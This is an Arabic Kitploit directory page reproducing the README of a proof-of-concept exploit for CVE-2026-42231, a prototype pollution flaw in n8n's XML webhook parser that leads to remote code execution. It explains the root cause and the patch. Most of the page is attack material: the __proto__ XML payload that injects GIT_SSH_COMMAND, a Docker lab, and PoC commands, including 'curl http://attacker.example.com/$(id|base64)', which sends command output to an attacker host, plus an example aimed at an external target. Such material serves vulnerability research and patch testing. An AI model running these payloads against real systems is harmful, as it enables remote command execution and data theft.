Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42231 — إثبات مفهوم لاستغلال CVE-2026-42231، وهي ثغرة حرجة في تلوث النماذج الأولية (prototype pollution) في خطافات الويب XML الخاصة بـ n8n تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. يتضمن مختبر Docker، ونص Python للاستغلال، وأداة تحقق بلغة Node.js. | Kitploit
أدوات/GitHubGitHub/rudsarkar/cve-2026-42231
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويب
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

إثبات مفهوم لاستغلال CVE-2026-42231، وهي ثغرة حرجة في تلوث النماذج الأولية (prototype pollution) في خطافات الويب XML الخاصة بـ n8n تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. يتضمن مختبر Docker، ونص Python للاستغلال، وأداة تحقق بلغة Node.js.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GHSA-q5f4-99jv-pgg5 — تلوث النموذج الأولي في XML Webhook في n8n → تنفيذ أوامر عن بُعد (RCE)

CVE: CVE-2026-42231
الخطورة: حرجة (CVSS 10.0)
الإصدارات المتأثرة: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
تم الإصلاح في: n8n 1.123.32 / 2.17.4 / 2.18.1


ملخص الثغرة

يقوم packages/cli/src/middlewares/body-parser.ts بإنشاء كائن مفرد على مستوى الوحدة من محلل xml2js بدون tagNameProcessors أو attrNameProcessors. وهذا يسمح للمهاجم بإرسال جسم Webhook بتنسيق XML يحتوي على عنصر <__proto__>.

يستخدم xml2js 0.6.2 الدالة Object.defineProperty مع واصف بيانات لتعيين مفاتيح العناصر على الكائنات المُحلَّلة. ولأن يكون دائمًا ، فإن الدالة تغلّف القيمة في مصفوفة وتخزّنها كـ — متجاوزةً بذلك مُلحق الذي كان سيحدّث سلسلة النموذج الأولي بأمان.

'__proto__' in obj
true
assignOrPush()
خاصية بيانات قابلة للتعداد خاصة بالكائن
[[Set]]

تنجو خاصية __proto__ الخاصة بالكائن من JSON.stringify (التي تُنفَّذ عندما يحفظ n8n بيانات التنفيذ في SQLite/PostgreSQL)، وبعد JSON.parse عند إعادة التحميل، يقوم Object.assign(target, reloadedBody) لاحقًا بإعادة توجيه النموذج الأولي لـ target إلى الكائن الذي يتحكم فيه المهاجم.

في سير العمل التي تحتوي أيضًا على عقدة Git تنفذ عملية SSH، يكشف النموذج الأولي الملوَّث قيمة spawnOptions / GIT_SSH_COMMAND إلى createInstanceConfig في simple-git، مما يتيح تنفيذ أوامر على مستوى نظام التشغيل.


السبب الجذري

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // lowercases tags — but does NOT block __proto__
    explicitArray: false,
    // ← NO tagNameProcessors
    // ← NO attrNameProcessors
});

الإصلاح (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

سلسلة الاستغلال

root@kitploit:~
1. يرسل المهاجم طلب POST بتنسيق XML إلى مشغل Webhook عام:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. يقوم محلل جسم xml2js بإنشاء req.body.root حيث تكون '__proto__'
   خاصية بيانات قابلة للتعداد خاصة بالكائن:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. تقوم deepCopy() في n8n بالتكرار عبر المفاتيح الخاصة باستخدام
   for...in + hasOwnProp.
   التعيين  clone['__proto__'] = deepCopy(attackerArray)
   يستبدل بصمت نموذج clone الأولي عبر مُلحق [[Set]].

4. يقوم n8n بتسلسل بيانات التنفيذ إلى قاعدة البيانات:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   يتم تضمين مفتاح __proto__ لأنه خاص وقابل للتعداد.
   تم التأكيد في جدول execution_data في SQLite.

5. عند إعادة التحميل، يعيد JSON.parse إنشاء '__proto__' كخاصية بيانات خاصة
   (كائن عادي، بدون تغليف بمصفوفة).
      Object.assign(gitOptions, reloadedBody)
   يعيد توجيه النموذج الأولي لـ gitOptions إلى الكائن الذي يتحكم فيه المهاجم.

6. عندما تستدعي عقدة Git الدالة simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   يقرأ config.spawnOptions عبر سلسلة النموذج الأولي → قيمة حقيقية →
   يتم تسجيل spawnOptionsPlugin.
   مع وجود GIT_SSH_COMMAND في كائن env، ينفذ git أمر المهاجم
   في عملية SSH التالية.

ملاحظة حول normalizeTags

يعمل normalizeTags: true على تحويل جميع أسماء علامات XML إلى أحرف صغيرة، لذا فإن العناصر الفرعية مثل <GIT_SSH_COMMAND> تصبح git_ssh_command في الكائن المُحلَّل. للحفاظ على حالة الأحرف لأسماء متغيرات البيئة، استخدم سمات XML (أسماء السمات لا يتم تطبيعها بواسطة normalizeTags):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

المتطلبات الأساسية

  1. يجب أن يكون هناك مشغل Webhook عام (المصادقة = لا شيء، نوع المحتوى = XML) في سير عمل نشط.
  2. للمسار الكامل لتنفيذ الأوامر عن بُعد (RCE)، يجب أن يحتوي سير العمل أيضًا على عقدة Git تنفذ عملية موثقة عبر SSH (clone / push عبر عنوان SSH URL).
  3. إصدار n8n < 1.123.32.

إعداد المختبر

المتطلبات

  • Docker ≥ 24 مع Compose v2
  • Python 3.9+ (للاستخدام المستقل لـ PoC بدون Docker)
  • المنفذ 5678 متاح على localhost

الإعداد بأمر واحد

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

يقوم هذا بسحب n8nio/n8n:1.123.22 (آخر إصدار متأثر)، وبناء صورة المهاجم، وتشغيل الهدف الضعيف على http://localhost:5678، وإنشاء وتفعيل سير عمل webhook تلقائيًا، وحفظ عنوان URL الخاص بالـ webhook في .webhook_state.


دليل الاستغلال الشامل من البداية إلى النهاية

1. الإعداد

root@kitploit:~
./exploit.sh setup

المخرجات المتوقعة (مقتطفة):

root@kitploit:~
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.

    Run:  ./exploit.sh demo        # verify the pollution primitive
          ./exploit.sh exploit     # deliver all three RCE payloads

2. التحقق من بدائية التلوث (وضع العرض)

root@kitploit:~
./exploit.sh demo

يرسل الـ PoC حمولة تحقق ويعرض الكائن المُحلَّل كما يعكسه سير عمل n8n. النسخة الضعيفة تُرجع:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. تسليم حمولات نية تنفيذ الأوامر (RCE)

root@kitploit:~
./exploit.sh exploit
# أو بأمر مخصص:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

يتم تسليم ثلاث حمولات تكميلية:

الحمولةالتقنية
Aعلامة <__proto__> — GIT_SSH_COMMAND كسمة XML
Bسلسلة <constructor><prototype>
C<__proto__> متداخل مع سمات env

4. ملاحظة النتيجة (مع عقدة Git في سير العمل)

  • في سجل تنفيذ n8n، ابحث عن خطأ أمر git — سيتضمن مخرجات من GIT_SSH_COMMAND المحقون إذا تم تنفيذ RCE.
  • في وضع العرض مع عقدة Code، سيحتوي جسم استجابة سير العمل على "step4_objectAssignPolluted": true مما يؤكد السلسلة.

الاستخدام المستقل (بدون Docker)

root@kitploit:~
pip install -r requirements.txt

# تحقق فقط — بدون الحاجة لعقدة Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# استغلال كامل — يتطلب سير عمل Webhook + Git/SSH node:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

تنسيق عنوان Webhook URL (n8n v1.123.x)

في بعض النشرات، يسجل n8n الـ webhook كـ /webhook/<workflowId>/webhook/<path>. إذا كان النموذج القصير /webhook/<path> يُرجع 404، مرر بادئة معرف سير العمل كـ --target:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

التحقق المحلي (Node.js، بدون الحاجة لنسخة حية)

يعيد إنتاج إعداد محلل xml2js الدقيق المستخدم في n8n ويتنقل عبر جميع مراحل السلسلة الأربع:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

المخرجات المتوقعة على الإعداد الضعيف:

root@kitploit:~
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

أوامر Docker اليدوية

root@kitploit:~
# بناء صورة المهاجم
docker build -t n8n-proto-pollution-poc .

# وضع العرض (الاتصال بشبكة المختبر المشتركة)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# استغلال كامل
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# ضد هدف خارجي (بدون الحاجة لعلم الشبكة)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

التنظيف

root@kitploit:~
./exploit.sh clean

يوقف الحاويات ويزيل وحدات التخزين (بما في ذلك قاعدة بيانات SQLite).


الملفات

الملفالوصف
poc_GHSA-q5f4-99jv-pgg5.pyPoC مستقل بلغة Python عبر HTTP — ثلاثة متغيرات لحمولة XML، أوضاع --demo و --cmd
verify_GHSA-q5f4-99jv-pgg5.jsأداة تحقق محلية بسلسلة Node.js — تتنقل عبر جميع مراحل الاستغلال الأربع بدون نسخة حية
Dockerfileصورة حاوية المهاجم
docker-compose.ymlمختبر كامل: n8n ضعيف + حاوية المهاجم
exploit.shسكربت مساعد للإعداد والعرض والاستغلال والتنظيف
requirements.txtتبعيات Python

المراجع

  • GHSA-q5f4-99jv-pgg5
  • سجل تغييرات إصدار n8n 1.123.32
  • xml2js assignOrPush — واصف بيانات Object.defineProperty
  • تلوث النموذج الأولي عبر Object.defineProperty
تنزيل الأداة